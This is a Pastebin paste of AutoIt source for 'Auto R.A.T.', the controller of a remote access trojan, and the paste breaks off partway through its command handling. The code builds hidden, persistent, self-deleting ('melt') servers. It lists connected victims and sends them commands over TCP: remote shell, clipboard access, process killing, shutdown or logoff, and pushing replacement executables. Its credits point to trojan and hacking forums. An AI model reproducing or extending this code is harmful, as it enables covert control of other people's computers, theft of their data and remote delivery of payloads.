Advertisement
johnmahugu

autoit - rat remote access tool

Jul 6th, 2015
579
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 58.89 KB | None | 0 0
  1. #Region ;**** Directives created by AutoIt3Wrapper_GUI ****
  2. #AutoIt3Wrapper_icon=Rubik-Pocket-Cube.ico
  3. #AutoIt3Wrapper_outfile=..\autorat.exe
  4. #AutoIt3Wrapper_Compression=4
  5. #AutoIt3Wrapper_Res_Comment=Administrate your other PCs
  6. #AutoIt3Wrapper_Res_Description=Auto R.A.T. 0.12 Beta V4
  7. #AutoIt3Wrapper_Res_Fileversion=0.12.0.0
  8. #AutoIt3Wrapper_Res_LegalCopyright=by Snify
  9. #AutoIt3Wrapper_Run_Obfuscator=y
  10. #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
  11. _Singleton ("HIDEME", 0)
  12. #include <ButtonConstants.au3>
  13. #include <EditConstants.au3>
  14. #Include <GuiButton.au3>
  15. #include <GUIConstantsEx.au3>
  16. #include <GuiStatusBar.au3>
  17. #include <ListViewConstants.au3>
  18. #include <StaticConstants.au3>
  19. #include <TabConstants.au3>
  20. #include <WindowsConstants.au3>
  21. #include <GUILISTVIEW.au3>
  22. #include <array.au3>
  23. #include <GUIConstantsEx.au3>
  24. #include <TreeViewConstants.au3>
  25. #include <WindowsConstants.au3>
  26. #include <guitreeview.au3>
  27. #include <winapi.au3>
  28. #include <guicombobox.au3>
  29. ;~ #include <Ftp.au3>
  30. #include <GUIConstantsEx.au3>
  31. #include <ListViewConstants.au3>
  32. #include <WindowsConstants.au3>
  33. #Include <GuiListBox.au3>
  34. #Include <Misc.au3>
  35. #include <GUIConstants.au3>
  36. #include <EditConstants.au3>
  37. #include <Constants.au3>
  38. #include <WindowsConstants.au3>
  39. #include <GuiEdit.au3>
  40. #include <GuiStatusBar.au3>
  41. #include <GuiConstantsEx.au3>
  42. #include <WindowsConstants.au3>
  43. #include <ScrollBarConstants.au3>
  44. ; ============================================== 3rd Files ===================================================
  45.  
  46.  
  47.  
  48. DirCreate(@TempDir & "\AutoRAT")
  49. FileInstall("connect.ico", @TempDir & "\AutoRAT\connect.ico", 1)
  50. FileInstall("settings.ico", @TempDir & "\AutoRAT\settings.ico", 1)
  51. FileInstall("brick_edit.ico", @TempDir & "\AutoRAT\brick_edit.ico", 1)
  52. FileInstall ("rubiks-cube.jpg", @TempDir & "\AutoRAT\rubiks-cube.jpg", 1)
  53. FileInstall ("connection.ico", @TempDir & "\AutoRAT\connection.ico", 1)
  54. FileInstall ("about.ico", @TempDir & "\AutoRAT\about.ico", 1)
  55. FileInstall ("eula.txt", @TempDir & "\AutoRAT\eula.txt", 1)
  56. FileInstall ("linkdeactivated.wav", @TempDir & "\AutoRAT\linkdeactivated.wav", 1)
  57. FileInstall ("linkactivated.wav", @TempDir & "\AutoRAT\linkactivated.wav", 1)
  58. FileInstall ("userleft.wav", @TempDir & "\AutoRAT\userleft.wav", 1)
  59. FileInstall ("userjoined.wav", @TempDir & "\AutoRAT\userjoined.wav", 1)
  60. FileInstall ("process.ico", @TempDir&"\AutoRAT\process.ico", 1)
  61. FileInstall ("Warning.ico", @TempDir&"\AutoRAT\Warning.ico", 1)
  62. FileInstall ("Info.ico", @TempDir&"\AutoRAT\Info.ico", 1)
  63. FileInstall ("Warning.ico", @TempDir&"\AutoRAT\Warning.ico", 1)
  64. FileInstall ("Questionmark.ico", @TempDir&"\AutoRAT\Questionmark.ico", 1)
  65. FileInstall ("Stop.ico", @TempDir&"\AutoRAT\Stop.ico", 1)
  66.  
  67.  
  68.  
  69. ; ========================================= OPTIONS ===========================================
  70.  
  71.  
  72. ; ================ SET VERSION ===============
  73. $version = "Auto R.A.T. 0.12 Beta V4"
  74.  
  75.  
  76.  
  77. Opt("TrayOnEventMode", 1) ; For TrayMode ;)
  78. Opt("TrayMenuMode", 1)
  79. Opt("OnExitFunc", "endscript")
  80. Opt("WinTitleMatchMode", 4)
  81. $taskbar_pos = WinGetPos("classname=Shell_TrayWnd")
  82. $taskbar_pos = $taskbar_pos[3]
  83. Opt("WinTitleMatchMode", 2)
  84.  
  85. ; ===================================== CONNECTION INTERVALL and definde mainsocket ======================
  86.  
  87.  
  88. Dim $connections[999]
  89. Dim $mainsocket = -1
  90. Dim $decline = 0
  91. Dim $accept = 0
  92. Dim $connectionwindow[999]
  93. Dim $exitclipboard = -1
  94. Dim $getclipboard = -1
  95. Dim $setclipboard = -1
  96. Dim $refreshprocesses = -1
  97. Dim $closeprocess = -1
  98. Dim $msgboxcontext = -1
  99. Dim $Notify
  100. Dim $notifydisconnectwindow
  101. Global $refreshprocesses[1]
  102. Global $processstatus
  103. Global $closeprocess[1]
  104. Global $msgsend[1]
  105. Global $clipapply[1]
  106. Global $msgtest[1]
  107. Global $cmdinput[1]
  108. Global $zz
  109. Global $z
  110. Global $yy
  111. Global $processpath[1]
  112. Global $WS_VSCROL
  113. Global $hideme = "HIDEME"
  114. Global $cmdedit[1]
  115. ; ===================================== START GUI ==========================================================
  116.  
  117.  
  118.  
  119. ; ====================================== EULA =============================================
  120.  
  121. $eula = GUICreate("Auto R.A.T. EULA", 635, 412, -1, -1, BitOR($WS_MINIMIZEBOX,$WS_CAPTION,$WS_POPUP,$WS_GROUP,$WS_BORDER,$WS_CLIPSIBLINGS))
  122. $Edit1 = GUICtrlCreateEdit("", 8, 8, 609, 329, BitOR($ES_AUTOVSCROLL,$ES_AUTOHSCROLL,$ES_WANTRETURN,$WS_GROUP,$WS_VSCROLL))
  123. GUICtrlSetData ($Edit1, FileRead (@TempDir & "\AutoRAT\eula.txt"))
  124. $accept = GUICtrlCreateButton("I agree", 56, 352, 155, 41, $WS_GROUP, BitOR($WS_EX_CLIENTEDGE,$WS_EX_STATICEDGE))
  125. $decline = GUICtrlCreateButton("I disagree", 416, 352, 155, 41, $WS_GROUP, BitOR($WS_EX_CLIENTEDGE,$WS_EX_STATICEDGE))
  126. if IniRead ("settings.ini", "CLIENT SETTINGS", "EULA", 1) = 1 Then
  127. GUISetState(@SW_SHOW)
  128. Else
  129. GUIDelete ($eula)
  130. EndIf
  131.  
  132.  
  133. ;====================================Update Funktion=================================
  134.  
  135.  
  136. #Region ### START Koda GUI section ### Form=C:\Dokumente und Einstellungen\Administrator\Desktop\Programmier Ordner\AutoRAT\NEUE GUI\Form1.kxf
  137. $Form1 = GUICreate($version, 600, 400, -1, -1)
  138. ;~ $Form1 = GUICreate($version, 583, 321, -1, -1)
  139. $contextmenu = GUICtrlCreateContextMenu()
  140. $Tab1 = GUICtrlCreateTab(0, 0, 599, 380)
  141. GUICtrlSetResizing(-1, $GUI_DOCKWIDTH+$GUI_DOCKHEIGHT)
  142. $TabSheet1 = GUICtrlCreateTabItem("Connections")
  143. GUICtrlSetImage (-1, @TempDir & "\AutoRAT\connect.ico")
  144. GUICtrlSetState(-1,$GUI_SHOW)
  145. $ListView1 = GUICtrlCreateListView("Name|Computername/User|IP|OS|Socket|Ping", 4, 25, 590, 350, -1, BitOR($WS_EX_CLIENTEDGE,$WS_EX_STATICEDGE,$LVS_EX_GRIDLINES,$LVS_EX_SUBITEMIMAGES,$LVS_EX_TRACKSELECT,$LVS_EX_HEADERDRAGDROP,$LVS_EX_FULLROWSELECT))
  146. GUICtrlSetImage(-1, @TempDir & "\AutoRAT\connection.ico")
  147. GUICtrlSendMsg(-1, $LVM_SETCOLUMNWIDTH, 0, 100)
  148. GUICtrlSendMsg(-1, $LVM_SETCOLUMNWIDTH, 1, 125)
  149. GUICtrlSendMsg(-1, $LVM_SETCOLUMNWIDTH, 2, 120)
  150. GUICtrlSendMsg(-1, $LVM_SETCOLUMNWIDTH, 3, 80)
  151. GUICtrlSendMsg(-1, $LVM_SETCOLUMNWIDTH, 4, 80)
  152. GUICtrlSendMsg(-1, $LVM_SETCOLUMNWIDTH, 5, 65)
  153.  
  154. ; ============================= CONTEXT MENU ===============================
  155. $buttoncontext = GUICtrlCreateContextMenu($ListView1)
  156. ;~ $filemanager = GUICtrlCreateMenuItem("File Manager", $buttoncontext)
  157. $clipboardmanager = GUICtrlCreateMenuItem("Clipboard Manager", $buttoncontext)
  158. $getping = GUICtrlCreateMenuItem("Ping", $buttoncontext)
  159. $remoteshell = GUICtrlCreateMenuItem("Remote Shell", $buttoncontext)
  160. GUICtrlCreateMenuItem("", $buttoncontext)
  161. $info = GUICtrlCreateMenu("System Information", $buttoncontext)
  162. $process = GUICtrlCreateMenuItem("Processes", $info)
  163. ;~ GUICtrlCreateMenuItem("Installed Applications", $info)
  164. ;~ GUICtrlCreateMenuItem("Server Settings", $info)
  165. ;~ GUICtrlCreateMenuItem("Window List", $info)
  166. ;~ GUICtrlCreateMenuItem("Connection Info", $info)
  167. $hibernate = GUICtrlCreateMenu("Miscellaneous", $buttoncontext)
  168. $msgboxcontext = GUICtrlCreateMenuItem ("Send Message", $hibernate)
  169. $shutdown = GUICtrlCreateMenuItem("Shutdown", $hibernate)
  170. $restart = GUICtrlCreateMenuItem("Restart", $hibernate)
  171. $logoff = GUICtrlCreateMenuItem("Logoff", $hibernate)
  172. $standby = GUICtrlCreateMenuItem("Standby", $hibernate)
  173. $settings = GUICtrlCreateMenu("Server Settings", $buttoncontext)
  174. $rename = GUICtrlCreateMenuItem("Rename Server", $settings)
  175. $uninstall = GUICtrlCreateMenuItem("Uninstall Server", $settings)
  176. $closeserver = GUICtrlCreateMenuItem("Close Server", $settings)
  177. $reconnect = GUICtrlCreateMenuItem("Reconnect Server", $settings)
  178. $newdnsip = GUICtrlCreateMenuItem("New DNS/IP", $settings)
  179. $updateserver = GUICtrlCreateMenuItem("Update Server", $settings)
  180.  
  181. ; ============================== CONTEXT MENU END =================================================
  182.  
  183. $TabSheet2 = GUICtrlCreateTabItem("Options")
  184. GUICtrlSetImage (-1, @TempDir & "\AutoRAT\settings.ico")
  185. $Group1 = GUICtrlCreateGroup("Connection options", 30, 80, 297, 217)
  186. $Input1 = GUICtrlCreateInput("", 200, 120, 89, 21)
  187. $Input2 = GUICtrlCreateInput("", 200, 177, 89, 21)
  188. $Label1 = GUICtrlCreateLabel("Listen on Port:", 60, 130, 100, 17)
  189. GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif")
  190. $Label2 = GUICtrlCreateLabel("Incoming Password:", 60, 180, 117, 17)
  191. GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif")
  192. $Button1 = GUICtrlCreateButton("Start listen", 60, 240, 75, 25, $WS_GROUP)
  193. $Button2 = GUICtrlCreateButton("Stop listen", 214, 240, 75, 25, $WS_GROUP)
  194. GUICtrlCreateGroup("", -99, -99, 1, 1)
  195. $Group2 = GUICtrlCreateGroup("Notification", 340, 80, 233, 217)
  196. $Checkbox1 = GUICtrlCreateCheckbox("Notify on new connection", 380, 130, 177, 17)
  197. $Checkbox2 = GUICtrlCreateCheckbox("Notify on disconnection", 380, 185, 161, 17)
  198. $Checkbox3 = GUICtrlCreateCheckbox("Notify with Sound", 380, 240, 110, 17)
  199. GUICtrlCreateGroup("", -99, -99, 1, 1)
  200. $TabSheet3 = GUICtrlCreateTabItem("Server Builder")
  201. GUICtrlSetImage (-1, @TempDir & "\AutoRAT\brick_edit.ico")
  202. $Group3 = GUICtrlCreateGroup("Connect to: ", 24, 70, 225, 241)
  203. $ListView2 = GUICtrlCreateListView("DNS/IP|Port", 40, 94, 186, 94)
  204. GUICtrlSendMsg(-1, $LVM_SETCOLUMNWIDTH, 0, 130)
  205. GUICtrlSendMsg(-1, $LVM_SETCOLUMNWIDTH, 1, 50)
  206. $Button3 = GUICtrlCreateButton("Add", 40, 206, 75, 25, $WS_GROUP)
  207. $Button4 = GUICtrlCreateButton("Delete", 152, 206, 75, 25, $WS_GROUP)
  208. $Label20 = GUICtrlCreateLabel("Server Mutex: ", 40, 254, 73, 17)
  209. $Label21 = GUICtrlCreateLabel("Server Password:", 40, 278, 87, 17)
  210. $Input5 = GUICtrlCreateInput("", 152, 254, 81, 21)
  211. $Input6 = GUICtrlCreateInput("", 152, 278, 81, 21)
  212. GUICtrlCreateGroup("", -99, -99, 1, 1)
  213. $Group4 = GUICtrlCreateGroup("Options", 264, 70, 297, 185)
  214. $Checkbox4 = GUICtrlCreateCheckbox("Autostart", 280, 94, 97, 17)
  215. $Checkbox5 = GUICtrlCreateCheckbox("Install Server", 392, 94, 97, 17)
  216. $Input3 = GUICtrlCreateInput("", 472, 126, 73, 21)
  217. $Label17 = GUICtrlCreateLabel("Filename:", 392, 129, 58, 17)
  218. GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif")
  219. $Combo1 = GUICtrlCreateCombo("", 392, 214, 153, 25)
  220. GUICtrlSetData(-1, "Windows|Desktop|Appdata|Temp|MyDocuments|System32|OWNPATH (type in your path)")
  221. $Label18 = GUICtrlCreateLabel("Install Server to: ", 392, 190, 102, 17)
  222. GUICtrlSetFont(-1, 8, 800, 4, "MS Sans Serif")
  223. $Label19 = GUICtrlCreateLabel("Foldername:", 392, 158, 73, 17)
  224. GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif")
  225. $Input4 = GUICtrlCreateInput("", 472, 158, 73, 21)
  226. $Checkbox6 = GUICtrlCreateCheckbox("Hidden Server", 280, 126, 97, 17)
  227. $Checkbox7 = GUICtrlCreateCheckbox("Persistant", 280, 158, 97, 17)
  228. $Checkbox8 = GUICtrlCreateCheckbox("Melt Server", 280, 190, 97, 17)
  229. $Checkbox9 = GUICtrlCreateCheckbox("Visible Mode", 280, 222, 97, 17)
  230. GUICtrlCreateGroup("", -99, -99, 1, 1)
  231. $Button5 = GUICtrlCreateButton("---> Build Server <---", 264, 262, 299, 49, $WS_GROUP, BitOR($WS_EX_CLIENTEDGE,$WS_EX_STATICEDGE))
  232. $TabSheet4 = GUICtrlCreateTabItem("About")
  233. GUICtrlSetImage (-1, @TempDir & "\AutoRAT\about.ico")
  234. $Pic1 = GUICtrlCreatePic(@TempDir & "\AutoRAT\rubiks-cube.jpg", 16, 62, 260, 252)
  235. $Label3 = GUICtrlCreateLabel($version, 304, 62, 252, 33)
  236. GUICtrlSetFont(-1, 18, 800, 0, "Sylfaen")
  237. GUICtrlSetColor(-1, 0x008080)
  238. $Label4 = GUICtrlCreateLabel("coded by Snify in pure Autoit", 336, 110, 168, 17)
  239. GUICtrlSetFont(-1, 8, 800, 0, "MS Sans Serif")
  240. $Label5 = GUICtrlCreateLabel("Best friends:", 312, 142, 85, 20)
  241. GUICtrlSetFont(-1, 10, 800, 4, "MS Serif")
  242. $Label6 = GUICtrlCreateLabel("WHO!-TR", 312, 174, 49, 17)
  243. GUICtrlSetColor(-1, 0xFF0000)
  244. $Label7 = GUICtrlCreateLabel("Schattenreiter", 312, 198, 70, 17)
  245. GUICtrlSetColor(-1, 0xFF0000)
  246. $Label8 = GUICtrlCreateLabel("Spike 188", 312, 222, 52, 17)
  247. GUICtrlSetColor(-1, 0xFF0000)
  248. $Label9 = GUICtrlCreateLabel("Spy-Net", 312, 246, 42, 17)
  249. GUICtrlSetColor(-1, 0xFF0000)
  250. $Label10 = GUICtrlCreateLabel("2sly", 312, 270, 22, 17)
  251. GUICtrlSetColor(-1, 0xFF0000)
  252. $Label11 = GUICtrlCreateLabel("Zacherl", 312, 294, 40, 17)
  253. GUICtrlSetColor(-1, 0xFF0000)
  254. $Label12 = GUICtrlCreateLabel("Best Sites:", 448, 142, 83, 23)
  255. GUICtrlSetFont(-1, 12, 800, 4, "MS Serif")
  256. $Label13 = GUICtrlCreateLabel("www.tr0jan.net", 448, 174, 75, 17)
  257. GUICtrlSetFont(-1, 8, 400, 4, "MS Sans Serif")
  258. GUICtrlSetColor(-1, 0x0000FF)
  259. $Label14 = GUICtrlCreateLabel("www.opensc.ws", 448, 198, 82, 17)
  260. GUICtrlSetFont(-1, 8, 400, 4, "MS Sans Serif")
  261. GUICtrlSetColor(-1, 0x0000FF)
  262. $Label15 = GUICtrlCreateLabel("www.hackhound.org", 448, 222, 103, 17)
  263. GUICtrlSetFont(-1, 8, 400, 4, "MS Sans Serif")
  264. GUICtrlSetColor(-1, 0x0000FF)
  265. $Label16 = GUICtrlCreateLabel("www.scenecoderz.cc", 448, 246, 107, 17)
  266. GUICtrlSetFont(-1, 8, 400, 4, "MS Sans Serif")
  267. GUICtrlSetColor(-1, 0x0000FF)
  268. GUICtrlCreateTabItem("")
  269. $StatusBar1 = _GUICtrlStatusBar_Create($Form1)
  270.  
  271. ;=================== READ/WRITE SETTINGS.INI ===============================
  272.  
  273. if FileExists ("settings.ini") = 0 Then
  274.     $inihandle = FileOpen ("settings.ini", 1)
  275.     FileWrite ($inihandle, "[CLIENT SETTINGS]")
  276.     FileClose ($inihandle)
  277.     IniWrite ("settings.ini", "CLIENT SETTINGS", "LISTENPORT", "") ; DONE
  278.     IniWrite ("settings.ini", "CLIENT SETTINGS", "INCOMINGPW", "") ; DONE
  279.     IniWrite ("settings.ini", "CLIENT SETTINGS", "NOTIFYCONNECT", "") ; DONE
  280.     IniWrite ("settings.ini", "CLIENT SETTINGS", "NOTIFYDISCONNECT", "") ; DONE
  281.     IniWrite ("settings.ini", "CLIENT SETTINGS", "NOTIFYSOUND", "") ; DONE
  282.     IniWrite ("settings.ini", "SERVER SETTINGS", "DNSIP", "") ; DONE
  283.     IniWrite ("settings.ini", "SERVER SETTINGS", "PORT", "") ; DONE
  284.     IniWrite ("settings.ini", "SERVER SETTINGS", "MUTEX", "") ; DONE
  285.     IniWrite ("settings.ini", "SERVER SETTINGS", "SERVERPW", "") ; DONE
  286.     IniWrite ("settings.ini", "SERVER SETTINGS", "AUTOSTART", "") ; DONE
  287.     IniWrite ("settings.ini", "SERVER SETTINGS", "HIDDEN", "") ; DONE
  288.     IniWrite ("settings.ini", "SERVER SETTINGS", "PERSISTANT", "") ; DONE
  289.     IniWrite ("settings.ini", "SERVER SETTINGS", "MELT", "") ; DONE
  290.     IniWrite ("settings.ini", "SERVER SETTINGS", "VISIBLE", "") ; DONE
  291.     IniWrite ("settings.ini", "SERVER SETTINGS", "INSTALL", "") ; DONE
  292.     IniWrite ("settings.ini", "SERVER SETTINGS", "FILENAME", "") ; DONE
  293.     IniWrite ("settings.ini", "SERVER SETTINGS", "FOLDERNAME", "") ; DONE
  294.     IniWrite ("settings.ini", "SERVER SETTINGS", "INSTALLPATH", "") ; DONE
  295. Else
  296.  
  297.  
  298.  
  299. if IniRead ("settings.ini", "CLIENT SETTINGS", "NOTIFYCONNECT", 0) = 1 Then
  300.     GUICtrlSetState ($Checkbox1, $GUI_CHECKED)
  301. EndIf
  302. if IniRead ("settings.ini", "CLIENT SETTINGS", "NOTIFYDISCONNECT", 0) = 1 Then
  303.     GUICtrlSetState ($Checkbox2, $GUI_CHECKED)
  304. EndIf
  305. if IniRead ("settings.ini", "CLIENT SETTINGS", "NOTIFYSOUND", 0) = 1 Then
  306.     GUICtrlSetState ($Checkbox3, $GUI_CHECKED)
  307. EndIf
  308.  
  309. GUICtrlSetData ($Input1, IniRead("settings.ini","CLIENT SETTINGS", "LISTENPORT", ""))
  310. GUICtrlSetData ($Input2, IniRead("settings.ini","CLIENT SETTINGS", "INCOMINGPW", ""))
  311. GUICtrlSetData ($Input3, IniRead("settings.ini","SERVER SETTINGS", "FILENAME", ""))
  312. GUICtrlSetData ($Input4, IniRead("settings.ini","SERVER SETTINGS", "FOLDERNAME", ""))
  313. GUICtrlSetData ($Input5, IniRead("settings.ini","SERVER SETTINGS", "MUTEX", ""))
  314. GUICtrlSetData ($Input6, IniRead("settings.ini","SERVER SETTINGS", "SERVERPW", ""))
  315. if IniRead ("settings.ini", "SERVER SETTINGS", "INSTALLPATH", "") <> "" Then
  316. _GUICtrlComboBox_AddString ($Combo1, IniRead ("settings.ini", "SERVER SETTINGS", "INSTALLPATH", ""))
  317. EndIf
  318. $indeex = _GUICtrlListView_AddItem ($ListView2, IniRead("settings.ini", "SERVER SETTINGS", "DNSIP", ""))
  319. _GUICtrlListView_SetItem ($ListView2, IniRead("settings.ini", "SERVER SETTINGS", "PORT", ""), $indeex, 1)
  320.  
  321. If IniRead ("settings.ini", "SERVER SETTINGS", "AUTOSTART", "") = 1 Then
  322.     GUICtrlSetState ($Checkbox4, $GUI_CHECKED)
  323. EndIf
  324.  
  325. If IniRead ("settings.ini", "SERVER SETTINGS", "HIDDEN", "") = 1 Then
  326.     GUICtrlSetState ($Checkbox6, $GUI_CHECKED)
  327. EndIf
  328.  
  329. If IniRead ("settings.ini", "SERVER SETTINGS", "PERSISTANT", "") = 1 Then
  330.     GUICtrlSetState ($Checkbox7, $GUI_CHECKED)
  331. EndIf
  332.  
  333. If IniRead ("settings.ini", "SERVER SETTINGS", "MELT", "") = 1 Then
  334.     GUICtrlSetState ($Checkbox8, $GUI_CHECKED)
  335. EndIf
  336.  
  337. If IniRead ("settings.ini", "SERVER SETTINGS", "VISIBLE", "") = 1 Then
  338.     GUICtrlSetState ($Checkbox9, $GUI_CHECKED)
  339. EndIf
  340.  
  341. If IniRead ("settings.ini", "SERVER SETTINGS", "INSTALL", "") = 1 Then
  342.     GUICtrlSetState ($Checkbox5, $GUI_CHECKED)
  343. EndIf
  344. EndIf
  345.  
  346. if IniRead ("settings.ini", "CLIENT SETTINGS", "EULA", 1) = 0 Then
  347.     $euladecline = 1
  348.     $eulaaccept = 1
  349. GUISetState(@SW_SHOW)
  350. EndIf
  351. $timer = ""
  352. $time = 0
  353. $timerinit = 0
  354. $time2 = 0
  355. $timerinit2 = 0
  356. #EndRegion ### END Koda GUI section ###
  357.  
  358. ; ========================================================== END GUI ==================================
  359.  
  360.  
  361. ; ================================================== GETMSG ==================================================
  362.  
  363.  
  364. ; ===== GET WINHANDLE =====
  365. $winhandle = WinGetHandle($Form1)
  366.  
  367.  
  368. ; ===== DUMMY VAR ====
  369. $l = 0
  370.  
  371.  
  372. While (WinExists($Form1))
  373.  
  374.  
  375. if $timerinit = 1 Then
  376. if TimerDiff ($time) > 3000 Then
  377.     DllCall("user32.dll", "int", "AnimateWindow", "hwnd", $Notify, "int", 500, "long", 0x00050004)
  378.     while 1
  379.     $disconnecthandle = WinGetHandle ("Notify")
  380.     if $disconnecthandle = "" and @error = 1 Then ExitLoop
  381.     GUIDelete ($disconnecthandle)
  382.     WEnd
  383.  
  384.     $time = 0
  385.     $timerinit = 0
  386. EndIf
  387. EndIf
  388.  
  389. if $timerinit2 = 1 Then
  390. if TimerDiff ($time2) > 3000 Then
  391.     DllCall("user32.dll", "int", "AnimateWindow", "hwnd", $notifydisconnectwindow, "int", 500, "long", 0x00050004)
  392.     while 1
  393.     $disconnecthandle = WinGetHandle ("Notifydisconnect")
  394.     if $disconnecthandle = "" and @error = 1 Then ExitLoop
  395.     GUIDelete ($disconnecthandle)
  396.     WEnd
  397.     $time2 = 0
  398.     $timerinit2 = 0
  399. EndIf
  400. EndIf
  401.  
  402.    Global $nMsg
  403.     Global $z
  404.     Global $zz
  405.     Global $yy
  406.  
  407.  
  408.     $nMsg = GUIGetMsg(TRUE)
  409.     Switch $nMsg[0]
  410.  
  411. ; ================== CLOSE GUI ==============
  412.  
  413.             Case $GUI_EVENT_CLOSE
  414.             if WinActive ($winhandle) = 1 then Exit
  415.             if WinExists ("Remote-Shell") Then
  416.                 $title = WinGetTitle ("Remote-Shell")
  417.                 for $i = 1 to StringLen ($title)
  418.                     if StringRight ($title, $i) = 0 Then ExitLoop
  419.                 Next
  420.                 TCPSend (StringRight ($title, $i-1), "CLOSECMD")
  421.             EndIf
  422.             GUIDelete ($nMsg[1])
  423.  
  424.  
  425. ; ========== DECLINE ==============
  426.  
  427.     Case $decline
  428.         Exit
  429.  
  430. ; ========== ACCEPT =============
  431.  
  432.         Case $accept
  433.         GUIDelete ($eula)
  434.         GUISetState (@SW_SHOW, $Form1)
  435.         IniWrite ("settings.ini", "CLIENT SETTINGS", "EULA", 0)
  436.  
  437. ;   ===================================== UPDATE SERVER =====================================
  438.  
  439.     Case $updateserver
  440.         if _GUICtrlListView_GetSelectedCount($ListView1) = 0 Then
  441.             ContinueLoop
  442.         EndIf
  443.         $dummy = _GUICtrlListView_GetSelectedIndices($ListView1, True)
  444.         $file_path = FileOpenDialog("Select File",@ScriptDir,"Executeable files (*.exe)|All (*.*)",1) ; durch .exe ersetzen
  445.         if @error Then
  446.             ContinueLoop
  447.             MsgBox(16,"ERROR","An error occured!")
  448.         EndIf
  449.         _GUICtrlListView_GetItemText($ListView1, $dummy[1], 4)
  450.         $socket = _GUICtrlListView_GetItemText($ListView1, $dummy[1], 4)
  451.         Global $choice = 0,$paket_len,$paket_rest
  452.         #Region ### START Koda GUI section ### Form= ; GUI: Upload settings
  453.         $Form1us = GUICreate("Upload settings", 215, 87, 200, 150)
  454.         $Label1us = GUICtrlCreateLabel("Please select a package size.", 5, 2, 170, 14)
  455.         $Label2us = GUICtrlCreateLabel("It influences the package count and"&@CRLF&"upload speed.", 5, 16, 187, 30)
  456.         $Radio1us = GUICtrlCreateRadio("128 Bytes", 5, 48, 65, 17)
  457.         $Radio2us = GUICtrlCreateRadio("256 Bytes", 5, 64, 65, 17)
  458.         $Radio3us = GUICtrlCreateRadio("512 Bytes", 80, 48, 65, 17)
  459. ;~      $Radio4us = GUICtrlCreateRadio("768 Bytes", 80, 64, 65, 17)
  460.         GUISetState(@SW_SHOW)
  461.         #EndRegion ### END Koda GUI section ###
  462.         While $choice <> 1
  463.             If GUICtrlRead($Radio1us) = 1 Or GUICtrlRead($Radio2us) = 1 Or GUICtrlRead($Radio3us) = 1 Then;Or GUICtrlRead($Radio4us) = 1 Then
  464.                 If GUICtrlRead($Radio1us) = 1 Then
  465.                     $paket_len = 128
  466.                     $choice = 1
  467.                 EndIf
  468.                 If GUICtrlRead($Radio2us) = 1 Then
  469.                     $paket_len = 256
  470.                     $choice = 1
  471.                 EndIf
  472.                 If GUICtrlRead($Radio3us) = 1 Then
  473.                     $paket_len = 512
  474.                     $choice = 1
  475.                 EndIf
  476. ;~              If GUICtrlRead($Radio4us) = 1 Then
  477. ;~                  $paket_len = 768
  478. ;~                  $choice = 1
  479. ;~              EndIf
  480.                 GUIDelete($Form1us)
  481.             EndIf
  482.         WEnd
  483.         If $choice = 0 Then $paket_len = 64
  484.         ProgressOn("Transmission status","Sending update","",0,0)
  485.         Global $bytes
  486.         $size = FileGetSize($file_path)
  487.         $paket_counter = Round($size/$paket_len,0)+1
  488.         $file = _WinAPI_CreateFile($file_path,2,2)
  489.         $pos = DllStructCreate("byte["&$paket_len&"]")
  490.         TCPSend ($socket,"UPDATE="&$paket_counter&"/"&$size)
  491.         do
  492.             $answer = TCPRecv ($socket,24)
  493.         Until $answer = "UPDATEOK"
  494.         For $i=0 To $size Step $paket_len
  495.             ProgressSet((100/$size)*$i,"sent "&$i&" Bytes of "&$size&" Bytes.")
  496.             _WinAPI_SetFilePointer($file,$i)
  497.             _WinAPI_ReadFile($file,DllStructGetPtr($pos),$paket_len,$bytes)
  498.             $file_binary = DllStructGetData($pos, 1)
  499.             TCPSend($socket,"SOP"&$file_binary&"EOP")
  500.             do
  501.                 $answer = TCPRecv($socket,10)
  502.             Until $answer = "POK"
  503.         Next
  504.         TCPSend($socket,"EOU")
  505.         do
  506.             $answer = TCPRecv($socket,10)
  507.         Until $answer = "PTDONE"
  508.         _WinAPI_CloseHandle($file)
  509.         ProgressSet(100,"sent "&$size&" Bytes of "&$size&" Bytes.")
  510.         MsgBox(0,"Update done!","Upload successful!")
  511.         ProgressOff()
  512.  
  513.  
  514. ; ================================================== MINIMIZE TO TRAY ==================================================
  515.  
  516.     Case $GUI_EVENT_MINIMIZE
  517.         if WinActive ($winhandle) = 1 then ContinueLoop
  518.         GUISetState(@SW_HIDE, $Form1)
  519.         TrayTip($version, _GUICtrlListView_GetItemCount($ListView1) & " Users are connected", 5, 1)
  520.         $tray = TrayCreateItem("SHOW")
  521.         TrayItemSetOnEvent(-1, "SHOW")
  522.         $tray3 = TrayCreateItem("")
  523.         $tray2 = TrayCreateItem("EXIT")
  524.         TrayItemSetOnEvent(-1, "CLOSE")
  525.  
  526.  
  527.         Case $newdnsip ; NEW DNS IP
  528.         If _GUICtrlListView_GetSelectedCount($ListView1) = 0 Then
  529.                 ContinueLoop
  530.         EndIf
  531.         $eingabe = InputBox("DNS/IP", "Please Enter a new DNS/IP:", "", "", 150, 120)
  532.         If $eingabe = "" Or @error Then
  533.                 ContinueLoop
  534.         EndIf
  535.         $dummy = _GUICtrlListView_GetSelectedIndices($ListView1, True)
  536.         TCPSend(_GUICtrlListView_GetItemText($ListView1, $dummy[1], 4), "DNSIP=" & $eingabe)
  537.         _GUICtrlListView_DeleteItem(GUICtrlGetHandle($ListView1), $dummy[1])
  538.         WinSetTitle($winhandle, "", $version&"            " & _GUICtrlListView_GetItemCount($ListView1) & " Users are connected")
  539.  
  540.     Case $restart ; RESTART
  541.         If _GUICtrlListView_GetSelectedCount($ListView1) = 0 Then
  542.             ContinueLoop
  543.         EndIf
  544.         $dummy = _GUICtrlListView_GetSelectedIndices($ListView1, True)
  545.         TCPSend(_GUICtrlListView_GetItemText($ListView1, $dummy[1], 4), "RESTART")
  546.  
  547.     Case $logoff ; LOGOFF
  548.         If _GUICtrlListView_GetSelectedCount($ListView1) = 0 Then
  549.             ContinueLoop
  550.         EndIf
  551.         $dummy = _GUICtrlListView_GetSelectedIndices($ListView1, True)
  552.         TCPSend(_GUICtrlListView_GetItemText($ListView1, $dummy[1], 4), "LOGOFF")
  553.  
  554.     Case $standby ; Standby
  555.         If _GUICtrlListView_GetSelectedCount($ListView1) = 0 Then
  556.             ContinueLoop
  557.         EndIf
